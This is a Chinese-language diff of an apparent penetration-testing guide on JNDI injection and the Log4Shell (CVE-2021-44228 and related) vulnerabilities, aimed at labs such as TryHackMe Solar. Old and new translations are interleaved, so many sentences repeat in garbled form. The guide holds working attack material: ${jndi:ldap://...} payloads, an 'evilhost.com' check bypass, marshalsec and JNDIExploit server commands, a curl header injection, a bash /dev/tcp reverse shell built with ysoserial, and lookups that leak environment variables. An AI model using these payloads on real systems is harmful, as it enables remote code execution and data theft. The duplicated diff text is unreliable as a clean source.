JNDI具有许多**服务提供程序接口**SPI使其能够使用各种目录服务。JNDI的目标是非常容易地从其他系统获取数据。甚至可以远程获取Java对象这就是问题的所在。
例如SPI存在于**CORBA COS**(通用对象服务),**Java RMI**(远程方法接口)注册表和**LDAP**中。
例如SPI存在于**CORBA COS**(通用对象服务),**Java RMI**(远程方法接口)注册表和**LDAP**。
![](<../../.gitbook/assets/image (627).png>)
@ -28,8 +36,8 @@ JNDI具有多个**服务提供者接口**SPI使其能够使用各种目
为了更轻松地保存Java对象使用**命名引用**。\
有两种类型的命名引用:
* **引用地址**这表示对象的地址_rmi://server/ref_然后将从该地址**检索对象**。
* **远程工厂**在这种情况下JNDI引用将指向一个**远程工厂类**然后根据JNDI地址将从远程工厂获取并加载**类**。
* **引用地址**这表示对象的地址_rmi://server/ref_然后**将从该地址检索对象**。
* **远程工厂**在这种情况下JNDI引用将指向一个**远程工厂类**然后根据JNDI地址将从远程工厂获取远程类并**下载和加载类**。
这是危险的,因为**攻击者可能使系统加载任意对象并执行任意代码**,因此存在一些保护措施:
@ -39,7 +47,7 @@ JNDI具有多个**服务提供者接口**SPI使其能够使用各种目
此外,**命名管理器**将跟随JNDI链接的管理器没有任何安全管理器或要配置的属性因此它将始终尝试获取对象。
正如您所看到的,**通常的保护措施是不够的**因为没有防止从随机地址加载JNDI的保护并且可以绕过RMI、LDAP和CORBA的保护措施取决于配置来加载任意Java对象或加载滥用应用程序中现有组件的Java对象作为执行任意代码的**gadget**
正如您所看到的,**通常的保护措施是不够的**因为没有防止从随机地址加载JNDI的保护并且可以绕过RMI、LDAP和CORBA的保护措施取决于配置来加载任意Java对象或加载滥用应用程序中现有组件的Java对象,以执行任意代码
滥用JNDI的URL示例
@ -51,47 +59,47 @@ JNDI具有多个**服务提供者接口**SPI使其能够使用各种目
![](<../../.gitbook/assets/image (655) (1) (1).png>)
即使您设置了**`PROVIDER_URL`**您也可以在查找中指定不同的URL并访问它`ctx.lookup("<attacker-controlled-url>")`,这就是攻击者滥用系统从他控制的系统加载任意对象的方式。
即使您设置了**`PROVIDER_URL`**您也可以在查找中指定不同的URL并且将访问它`ctx.lookup("<attacker-controlled-url>")`,这就是攻击者滥用它从由他控制的系统中加载任意对象的方式。
### CORBA
**可互操作对象引用IOR**是CORBA或RMI-IIOP引用用于唯一标识远程CORBA服务器上的对象。IOR可以是二进制格式或二进制的十六进制表示形式。\
除其他信息外,它包含**类型ID**(接口的唯一标识符)和**代码库**(用于获取存根类的远程位置)。\
请注意,默认情况下无法滥用**CORBA**。\
请注意,**默认情况下无法滥用CORBA**。\
它需要:
* 必须安装**安全管理器**
* 安全管理器必须允许连接到攻击者控制的代码库。有多种方法可以允许此操作
* 攻击者控制的**代码库连接必须被安全管理器允许**。有不同的方法可以允许这一点
* Socket权限`permissions java.net.SocketPermission "*:1098-1099", "connect";`
* 允许读取所有文件的文件权限:`permission java.io.FilePermission "<<ALL FILES>>", "read";`
* 允许读取攻击者可以上传利用程序类或zip归档的文件夹的文件权限
* 允许读取攻击者可以上传利用程序类或zip归档的文件权限
你可能会发现**默认情况下供应商允许这样做的策略**。
您可能会发现**默认情况下允许此操作的供应商策略**。
### RMI
如前面的**JNDI命名参考部分所示默认情况下RMI不允许下载任意Java类**。而且,即使允许下载,你还需要**绕过安全管理器策略**(在前面的部分中我们学到了这是通过CORBA实现的)。
如前面的**JNDI命名参考部分所示默认情况下RMI不允许下载任意Java类**。而且,即使允许,你还需要**绕过安全管理器策略**(在前面的部分中我们了解到这是CORBA可以做到的)。
### LDAP
首先,我们需要区分搜索和查找。\
**搜索**将使用类似`ldap://localhost:389/o=JNDITutorial`的URL来从LDAP服务器中查找JNDITutorial对象并**检索其属性**。\
**查找**用于**命名服务**,我们想要获取**绑定到名称的任何内容**。
**搜索**将使用类似`ldap://localhost:389/o=JNDITutorial`的URL来查找LDAP服务器上的JNDITutorial对象并**检索其属性**。\
**查找**用于**命名服务**因为我们想要获取**绑定到名称的任何内容**。
如果LDAP搜索使用了**SearchControls.setReturningObjFlag()并设置为`true`**那么返回的对象将被重建
如果LDAP搜索使用了**SearchControls.setReturningObjFlag()并设置为`true`**则返回的对象将被重构
因此,有几种方法可以攻击这些选项。\
攻击者可以在LDAP记录中**注入有效负载**并在收集它们的系统中执行它们如果你可以访问LDAP服务器这对于**攻击数十台机器**非常有用。另一种利用方法是对LDAP搜索执行**中间人攻击**。
**攻击者可以在LDAP记录中注入有效负载**这些有效负载将在收集它们的系统中执行如果你可以访问LDAP服务器则非常有用可以**危害数十台机器**。另一种利用方法是对LDAP搜索执行**中间人攻击**。
如果你可以**让一个应用程序解析JNDI LDAP URL**你可以控制将要搜索的LDAP并且可以发送回漏洞利用log4shell
如果你可以**使应用程序解析JNDI LDAP URL**你可以控制将要搜索的LDAP并且可以发送回利用程序log4shell
#### 反序列化漏洞利用
#### 反序列化利用
![](<../../.gitbook/assets/image (654) (1) (1) (1).png>)
**漏洞利用被序列化**并将被反序列化。\
如果`trustURLCodebase`为`true`,攻击者可以在代码库中提供自己的类;如果不是,他将需要滥用类路径中的gadget。
**利用程序被序列化**,然后将被反序列化。\
如果`trustURLCodebase`为`true`,攻击者可以在代码库中提供自己的类;如果不是,需要滥用类路径中的gadget。
#### JNDI引用漏洞利用
#### JNDI引用利用
使用**JavaFactory引用**更容易攻击此LDAP
@ -99,44 +107,45 @@ JNDI具有多个**服务提供者接口**SPI使其能够使用各种目
## Log4Shell漏洞
该漏洞存在于Log4j中因为它支持一种[**特殊语法**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution),形式为`${prefix:name}`,其中`prefix`是一系列不同的[**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html)之一,`name`应该被求值。例如,`${java:version}`是当前运行的Java版本。
Log4j中引入了漏洞,因为它支持一种[**特殊语法**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution),形式为`${prefix:name}`,其中`prefix`是多个不同的[**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html)之一,`name`应该被评估。例如,`${java:version}`是当前运行的Java版本。
在[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)中添加了一个`jndi` Lookup如下所示“JndiLookup允许通过JNDI检索变量。默认情况下键将以java:comp/env/为前缀,但是如果键包含**":",则不会添加前缀**。”
如果键中有**":"**,例如`${jndi:ldap://example.com/a}`则没有前缀并且将查询LDAP服务器上的对象。这些Lookups可以在Log4j的配置以及记录行时使用。
因此唯一需要的是获取RCE的**受漏洞影响的Log4j版本来处理用户控制的信息**。由于这是一个广泛用于Java应用程序记录信息的库包括面向互联网的应用程序通常会使用log4j记录例如接收到的HTTP头如User-Agent。然而log4j**不仅用于记录HTTP信息还可以记录任何输入和开发人员指定的数据**
因此唯一需要的是获取RCE的**受漏洞影响的Log4j版本处理用户控制的信息**。由于这是Java应用程序广泛使用的库用于记录信息包括面向互联网的应用程序因此通常会使用log4j记录例如接收到的HTTP标头如User-Agent。但是log4j**不仅用于记录HTTP信息还用于记录任何输入**和开发人员指定的数据
## Log4Shell CVE
* [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**原始的“Log4Shell”漏洞是一个[不受信任的反序列化](https://cwe.mitre.org/data/definitions/502.html)漏洞。该漏洞的严重性评为严重,根据[CVSS](https://www.first.org/cvss/)评分,它得分为10并**授予未经身份验证的攻击者远程代码执行RCE能力**,允许完全接管系统。\
* [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[危急]**原始的“Log4Shell”漏洞是一种[不受信任的反序列化](https://cwe.mitre.org/data/definitions/502.html)漏洞。根据严重性评为危急,该漏洞在[CVSS](https://www.first.org/cvss/)评分中得分为10并**授予未经身份验证的攻击者远程代码执行RCE能力**,允许完全接管系统。\
\
阿里巴巴云安全团队的陈兆军于11月24日向Apache报告了CVE-2021-44228该漏洞影响多个Apache框架的默认配置包括Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。\
\
作为其中最危险的漏洞,该漏洞存在于[log4j-core](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core)组件中仅限于2.x版本从2.0-beta9到2.14.1。Log4Shell的修复版本在2.15.0中发布,但被认为是不完整的(继续阅读)。\
作为其中最危险的漏洞,该漏洞存在于[log4j-core](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core)组件中仅限于2.x版本从2.0-beta9到2.14.1。Log4Shell的修复版本为2.15.0,但被认为是不完整的(继续阅读)。\
\
威胁情报分析师Florian Roth分享了Sigma规则\[[1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)],可以作为防御之一使用。\\
* [**CVE-2021-45046**](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) \[**Critical**之前为Low]这是一个拒绝服务DoS漏洞评分为~~3.7~~ 9.0。该漏洞是由于对CVE-2021-44228的2.15.0版本的**不完整修复**而产生的。虽然2.15.0版本的修复在很大程度上解决了漏洞,但对于某些**非默认配置**来说并非完全如此。\
* [**CVE-2021-45046**](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) \[**危急**,先前为低]这是一个拒绝服务DoS漏洞评分为~~3.7~~ 9.0。该漏洞是由于针对CVE-2021-44228的2.15.0的**不完整修复**而产生的。虽然2.15.0中的修复大部分解决了漏洞,但对于某些**非默认配置**情况并非完全如此。\
\
Log4j 2.15.0通过默认情况下“尽力尝试”**限制JNDI LDAP查找为\_localhost**\_来解决此问题。但是,**攻击者**如果对**线程上下文映射MDC**输入数据具有**控制权**则可以通过JNDI Lookup模式构造恶意有效负载以导致DoS攻击。这适用于使用非默认Pattern Layout的非默认配置例如使用上下文查找例如\$${ctx:loginId})或线程上下文映射模式(%X、%mdc或%MDC。\
Log4j 2.15.0“尽力尝试”**默认限制JNDI LDAP查找为\_localhost**\_。但是**攻击者**如果对**线程上下文映射MDC**输入数据具有**控制权**则可以通过JNDI Lookup模式构造恶意有效负载以导致DoS攻击。这适用于使用非默认Pattern Layout的非默认配置例如使用上下文查找例如\$${ctx:loginId})或线程上下文映射模式(%X、%mdc或%MDC。\
\
从这个[tweet](https://twitter.com/marcioalm/status/1471740771581652995)中采用的**绕过方法**是:\
从这个[**推文**](https://twitter.com/marcioalm/status/1471740771581652995)中采用的**绕过方法**是:\
_这是一个绕过Log4J 2.15.0中allowedLdapHost和allowedClasses检查以实现RCE的PoC`${jndi:ldap://127.0.0.1#evilhost.com:1389/a}`要绕过allowedClasses只需为JDK中的一个类选择一个名称。反序列化将像往常一样发生。_\
\_\_\
\_\_“Log4j 2.16.0通过删除消息查找模式的支持并默认禁用JNDI功能来修复此问题”NVD咨询声明。对于2.12.1分支的用户修复已经回溯到2.12.2。\\
* [**CVE-2021-4104**](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**我们说过Log4j 2.x版本存在漏洞吗那么**Log4j 1.x**呢?\
\_\_"NVD咨询指出“Log4j 2.16.0通过删除消息查找模式的支持并默认禁用JNDI功能来修复此问题。”对于2.12.1分支的用户修复已经被移植到2.12.2版本中。\\
* [**CVE-2021-4104**](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[高]**我们说过Log4j 2.x版本有漏洞那么**Log4j 1.x**呢?\\
\
虽然之前认为是安全的但Log4Shell也在旧版Log4j中隐藏。实质上使用_JMSAppender_类的**非默认配置的Log4j 1.x实例也容易受到不受信任的反序列化漏洞**的影响。
虽然这是CVE-2021-44228的一个较轻微的变种但它仍然影响所有版本的[log4j:log4j](https://search.maven.org/artifact/log4j/log4j)和[org.apache.log4j:log4j](https://mvnrepository.com/artifact/org.apache.log4j/log4j)组件只有1.x版本存在。由于这些是[终止支持](https://logging.apache.org/log4j/1.2/)的版本,**1.x分支没有任何修复方法**因此应该升级到_log4j-core_ 2.17.0。显然1.0不受影响)。\\
* [**CVE-2021-42550**](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[中等]:** 这是**Logback日志框架**中的一个漏洞。作为Log4j 1.x库的继任者Logback声称在“log4j 1.x停止之后”继续发展。\
虽然之前认为Log4j 1.x是安全的但Log4Shell也找到了潜伏在旧版Log4j中的方法。实际上**非默认配置的Log4j 1.x实例使用_JMSAppender**\_\*\*类也会受到不受信任的反序列化漏洞的影响\*\*。\
\
直到上周Logback还[吹嘘](https://archive.md/QkzIy)与log4j 2.x“无关\[logback]不共享其漏洞”。\
尽管这是CVE-2021-44228的一个较轻微的变种但是这个CVE影响了所有只有1.x版本的[log4j:log4j](https://search.maven.org/artifact/log4j/log4j)和[org.apache.log4j:log4j](https://mvnrepository.com/artifact/org.apache.log4j/log4j)组件。由于这些版本已经[终止支持](https://logging.apache.org/log4j/1.2/)**1.x分支没有修复方法**用户应该升级到_log4j-core_ 2.17.0版本显然1.0版本不受影响)。\\
* [**CVE-2021-42550**](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[中]**:这是一个影响**Logback日志框架**的漏洞。作为Log4j 1.x库的继任者Logback声称在“log4j 1.x停止支持的地方”继续发展。\
\
当发现**CVE-2021-4104**也影响Log4j 1.x并且评估了对Logback的潜在影响时这种假设很快消失了。现在已经发布了新的Logback版本1.3.0-alpha11和1.2.9,解决了这个较轻微的漏洞。[发布](https://search.maven.org/artifact/ch.qos.logback/logback-classic)。\\
* **CVE-2021-45105** **\[高]**: 发现**Log4j 2.16.0**存在一个被评为“高”严重性的DoS漏洞。Apache已经发布了修复CVE的log4j 2.17.0版本。有关此开发的更多详细信息请参阅BleepingComputer的[最新报告](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/)。
* [**CVE-2021-44832**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/): 这个新的CVE影响log4j的**2.17版本**。这个漏洞**需要攻击者控制log4j的配置文件**因为可以在配置的JDBCAppender中指定JDNI URL。有关**漏洞和利用**的信息,请[**阅读此信息**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)。
直到上周Logback还吹嘘自己“与log4j 2.x无关\[logback]不共享其漏洞”。\
\
当发现**CVE-2021-4104**也影响Log4j 1.x并且评估了对Logback的潜在影响时这种假设很快消失了。现在已经发布了新的Logback版本1.3.0-alpha11和1.2.9,解决了这个较轻微的漏洞。\\
* **CVE-2021-45105** **\[高]**:发现**Log4j 2.16.0**存在一个被评为“高”严重性的DoS漏洞。Apache已经发布了修复该CVE的log4j 2.17.0版本。有关此进展的更多详细信息请参阅BleepingComputer的[最新报告](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/)。
* [**CVE-2021-44832**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)这个新的CVE影响到log4j的**2.17版本**。这个漏洞**需要攻击者控制log4j的配置文件**因为可以在配置的JDBCAppender中指定一个JDNI URL。有关**漏洞和利用**的信息,请[**阅读此信息**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)。
## Log4Shell利用
## Log4Shell漏洞利用
### 发现
@ -151,7 +160,7 @@ _这是一个绕过Log4J 2.15.0中allowedLdapHost和allowedClasses检查以实
请注意,**即使收到DNS请求也不意味着应用程序是可利用的**(甚至是有漏洞的),您需要尝试利用它。
{% hint style="info" %}
请记住,要**利用版本2.15**,您需要添加**本地主机检查绕过**${jndi:ldap://**127.0.0.1#**...}
请记住,要**利用2.15版本**,您需要添加**本地主机检查绕过**${jndi:ldap://**127.0.0.1#**...}
{% endhint %}
#### **本地发现**
@ -225,17 +234,17 @@ Any other env variable name that could store sensitive information
### RCE 信息
{% hint style="info" %}
运行在 **JDK 版本高于 6u141、7u131、8u121 的主机将受到 LDAP 类加载的保护**,但不受序列化向量的保护。这是因为 `com.sun.jndi.ldap.object.trustURLCodebase` 默认情况下被禁用,因此 JNDI 无法使用 LDAP 加载远程代码库。但我们必须强调,仍然可能发生序列化和变量泄漏。\
这意味着要 **利用上述版本**,您需要 **滥用一些存在于 Java 应用程序上的受信任的 gadget**(例如使用 ysoserial 或 JNDIExploit。但要利用较低版本您可以使它们加载并执行任意类(这使攻击更容易)。
运行在 **JDK 版本高于 6u141、7u131、8u121 的主机将受到 LDAP 类加载的保护**,但不受序列化向量的保护。这是因为 `com.sun.jndi.ldap.object.trustURLCodebase` 默认情况下被禁用,因此 JNDI 无法使用 LDAP 加载远程代码库。但我们必须强调,仍然存在序列化和变量泄漏的可能性。\
这意味着要 **利用上述版本**,您需要 **滥用一些存在于 Java 应用程序上的受信任的 gadget**(例如使用 ysoserial 或 JNDIExploit。但要利用较低版本您可以使加载并执行任意类(这使攻击更容易)。
有关 **更多信息**(例如 RMI 和 CORBA 向量的限制),请查看前面的 JNDI 命名参考部分或 [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
有关更多信息(例如 RMI 和 CORBA 向量的限制),请查看前面的 JNDI 命名参考部分或访问 [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
{% endhint %}
### RCE - 使用自定义有效载荷的 Marshalsec
_这个技巧完全来自于 **THM box:**_ [_**https://tryhackme.com/room/solar**_](https://tryhackme.com/room/solar)\_\_
对于这个漏洞利用,将使用工具 [**marshalsec**](https://github.com/mbechler/marshalsec)(从这里下载 [**jar 版本**](https://github.com/RandomRobbieBF/marshalsec-jar))创建一个 LDAP 引荐服务器,将连接引导到我们的次要 HTTP 服务器,漏洞利用将在其中提供:
对于这个漏洞利用,将使用工具 [**marshalsec**](https://github.com/mbechler/marshalsec)(从这里下载 [**jar 版本**](https://github.com/RandomRobbieBF/marshalsec-jar))创建一个 LDAP 引荐服务器,将连接指向我们的次要 HTTP 服务器,漏洞利用将在其中提供:
```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
```
@ -255,9 +264,9 @@ e.printStackTrace();
```
{% endcode %}
创建**类文件**执行:`javac Exploit.java -source 8 -target 8`,然后在创建类文件的同一目录运行**HTTP服务器**`python3 -m http.server`。\
创建**类文件**执行:`javac Exploit.java -source 8 -target 8`,然后在创建类文件的同一目录运行**HTTP服务器**`python3 -m http.server`。\
**marshalsec的LDAP服务器应该指向这个HTTP服务器**。\
然后,您可以通过发送如下负载使**易受攻击的Web服务器执行攻击类**
然后,您可以通过发送如下负载使**易受攻击的Web服务器执行利用类**
```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```
@ -270,9 +279,9 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
### JNDIExploit - 远程代码执行
{% hint style="info" %}
请注意由于发现了log4shell作者从GitHub上删除了此项目。您可以在[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)中找到缓存版本,但如果您希望尊重作者的决定,请使用其他方法来利用此漏洞。
请注意由于发现了log4shell漏洞作者在github上删除了此项目。您可以在[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)中找到缓存版本,但如果您希望尊重作者的决定,请使用其他方法来利用此漏洞。
此外您无法在wayback machine中找到源代码因此要么分析源代码要么执行jar文件知道您不知道自己在执行什么。
此外您无法在wayback machine中找到源代码因此要么分析源代码要么执行jar文件但要知道您不知道自己在执行什么。
{% endhint %}
对于此示例您可以在端口8080上运行此**易受log4shell攻击的Web服务器**[https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app)_在自述文件中您将找到如何运行它的说明_。此易受攻击的应用程序使用易受攻击的log4shell版本记录HTTP请求头_X-Api-Version_的内容。
@ -284,16 +293,16 @@ unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
阅读代码仅需几分钟,你可以在 _com.feihong.ldap.LdapServer__com.feihong.ldap.HTTPServer_ 中看到**LDAP和HTTP服务器的创建方式**。LDAP服务器将理解需要提供的有效载荷并将受害者重定向到HTTP服务器后者将提供利用程序。\
在_com.feihong.ldap.gadgets_中你可以找到**一些特定的小工具**可用于执行所需操作潜在地执行任意代码。而在_com.feihong.ldap.template_中你可以看到不同的模板类它们将**生成利用程序**。
_com.feihong.ldap.gadgets_ 中,你可以找到可用于执行所需操作(潜在地执行任意代码)的**一些特定小工具**。而在 _com.feihong.ldap.template_ 中,你可以看到不同的模板类,它们将**生成利用程序**。
你可以通过**`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**查看所有可用的利用程序。一些有用的利用程序包括
你可以通过**`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**查看所有可用的利用程序。以下是一些有用的利用程序:
```bash
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
```
所以,在我们的例子中,我们已经运行了一个容易受攻击的 Docker 应用。要对其进行攻击:
所以,在我们的例子中,我们已经运行了一个存在漏洞的Docker应用程序。要对其进行攻击:
```bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
@ -304,11 +313,11 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
```
在发送攻击时,您将在执行**JNDIExploit-1.2-SNAPSHOT.jar**的终端中看到一些输出。
**请记住检查`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`以获取其他利用选项。此外如果需要您可以更改LDAP和HTTP服务器的端口。**
**记得检查`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`以获取其他利用选项。此外如果需要您可以更改LDAP和HTTP服务器的端口。**
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
之前的利用方式类似,您可以尝试使用[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit)来利用此漏洞。\
先前的漏洞利用类似,您可以尝试使用[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit)来利用此漏洞。\
您可以生成要发送给受害者的URL
```bash
# Get reverse shell in port 4444 (only unix)
@ -317,18 +326,18 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
_这种使用自定义生成的Java对象的攻击方法在像**THM太阳能房间**这样的实验室中有效。然而通常情况下这种攻击不起作用因为默认情况下Java没有配置为使用LDAP加载远程代码库我认为这是因为它没有滥用受信任的类来执行任意代码。_
_这种使用自定义生成的Java对象的攻击在像**THM太阳能房间**这样的实验室中有效。然而通常情况下这种攻击不起作用因为默认情况下Java配置为使用LDAP加载远程代码库我认为这是因为它没有滥用受信任的类来执行任意代码。_
### RCE - ysoserial和JNDI-Exploit-Kit
这个选项非常适用于攻击**仅信任指定类而不是所有人的Java版本**。因此,将使用**ysoserial**生成**受信任类的序列化**这些序列化可以用作gadget来**执行任意代码**_ysoserial滥用的受信任类必须被受害者的Java程序使用以使利用生效_
使用**ysoserial**或[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)可以创建JNDI下载的反序列化利用程序
使用**ysoserial**或[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)可以创建JNDI下载的反序列化利用程序
```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
使用[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)生成**JNDI链接**在这些链接中漏洞机器将连接到等待的漏洞利用。您可以使用JNDI-Exploit-Kit自动生成的**不同漏洞利用**或者使用您自己或ysoserial生成的**反序列化有效载荷**。
使用[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)生成**JNDI链接**在这些链接中漏洞机器将连接到等待的漏洞利用。您可以使用JNDI-Exploit-Kit自动生成的**不同利用工具**或者使用您自己或ysoserial生成的**反序列化有效载荷**。
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
@ -359,7 +368,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - 查找本地易受攻击的库
### 用于测试的实验室
### 实验室测试
* [**LogForge HTB 机器**](https://app.hackthebox.com/tracks/UHC-track)
* [**Try Hack Me Solar 房间**](https://tryhackme.com/room/solar)
@ -368,15 +377,15 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
## Log4Shell 漏洞利用后
在这个[**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)中,详细解释了如何潜在地滥用 Log4J 的一些功能。
在这个[**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)中,详细解释了如何潜在地滥用 **Log4J** 的一些功能。
Log4j 的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html)中有一些有趣的句子:
> 从版本 2.16.0(适用于 Java 8开始**消息查找功能已完全移除**。**配置中的查找仍然有效**。此外Log4j 现在默认禁用对 JNDI 的访问。配置中的 JNDI 查找现在需要显式启用。
> 从版本 2.16.0 开始(适用于 Java 8**消息查找功能已完全移除**。**配置中的查找仍然有效**。此外Log4j 现在默认禁用对 JNDI 的访问。配置中的 JNDI 查找现在需要显式启用。
> 从版本 2.17.0 开始(对于 Java 7 和 Java 6版本为 2.12.3 和 2.3.1**只有配置中的查找字符串会递归展开**;在其他任何用法中,只会解析顶级查找,任何嵌套的查找都不会解析。
> 从版本 2.17.0 开始(适用于 Java 7 和 Java 6 的版本为 2.12.3 和 2.3.1**只有配置中的查找字符串会递归展开**;在其他任何用法中,只会解析顶级查找,任何嵌套的查找都不会解析。
这意味着默认情况下,您可以**忘记使用任何 `jndi` 攻击**。此外,要执行**递归查找**,您需要进行相应的配置。
这意味着默认情况下,你可以**忘记使用任何 `jndi` 攻击**。此外,要执行**递归查找**,你需要进行相应的配置。
例如,在该 CTF 中,这在文件 log4j2.xml 中进行了配置:
```xml
@ -385,13 +394,13 @@ Log4j 的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
</PatternLayout>
</Console>
```
### Env Lookups
### 环境查找
在这个CTF中攻击者控制了`${sys:cmd}`的值,并且需要从环境变量中窃取flag。如在[**之前的负载**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification)中所,有不同的方法可以访问环境变量,例如:`${env:FLAG}`。在这个CTF中这个方法是无用的,但在其他真实场景中可能会有用。
在这个CTF中攻击者控制了`${sys:cmd}`的值,并且需要从环境变量中窃取标志。如在[**之前的负载**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification)中所,有不同的方法可以访问环境变量,例如:`${env:FLAG}`。在这个CTF中这是无用的但在其他真实场景中可能会有用。
### 异常中的信息窃取
### 异常中的数据窃取
在CTF中你无法使用log4J访问java应用程序的stderr但是Log4J的异常会被发送到stdout而python应用程序会将其打印出来。这意味着通过触发异常我们可以访问内容。一个用于窃取flag的异常是:`${java:${env:FLAG}}`。这个方法有效是因为`${java:CTF{blahblah}}`不存在,而会显示一个带有flag值的异常:
在CTF中你无法使用log4J访问java应用程序的stderr但是Log4J的异常会被发送到stdout而python应用程序会将其打印出来。这意味着通过触发异常我们可以访问内容。一个用于窃取标志的异常是:`${java:${env:FLAG}}`。这个方法有效是因为`${java:CTF{blahblah}}`不存在,而会显示一个带有标志值的异常:
![](<../../.gitbook/assets/image (157).png>)
@ -401,16 +410,16 @@ Log4j 的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
这对于在错误消息中窃取日期并不有用,因为查找在转换模式之前没有被解决,但对于其他一些任务,如检测,可能会有用。
这对于在错误消息中窃取日期并不有用,因为在转换模式之前没有解析查找,但对于其他一些任务,如检测,可能会有用。
### 转换模式正则表达式
然而,可以使用一些支持正则表达式的**转换模式**来通过使用正则表达式和滥用**二分搜索**或**基于时间**的行为来窃取查找中的信息。
然而,可以使用一些支持正则表达式的**转换模式**来通过使用正则表达式和滥用**二分查找**或**基于时间**的行为来窃取查找中的信息。
* **通过异常消息进行二分搜索**
* **通过异常消息进行二分查找**
转换模式**`%replace`**可以用于**替换**字符串中的**内容**,甚至使用**正则表达式**。它的工作原理如下:`replace{pattern}{regex}{substitution}`\
通过滥用这种行为,你可以使得**如果正则表达式在字符串中匹配到任何内容,则触发异常(如果没有找到,则不会触发异常)**,像这样
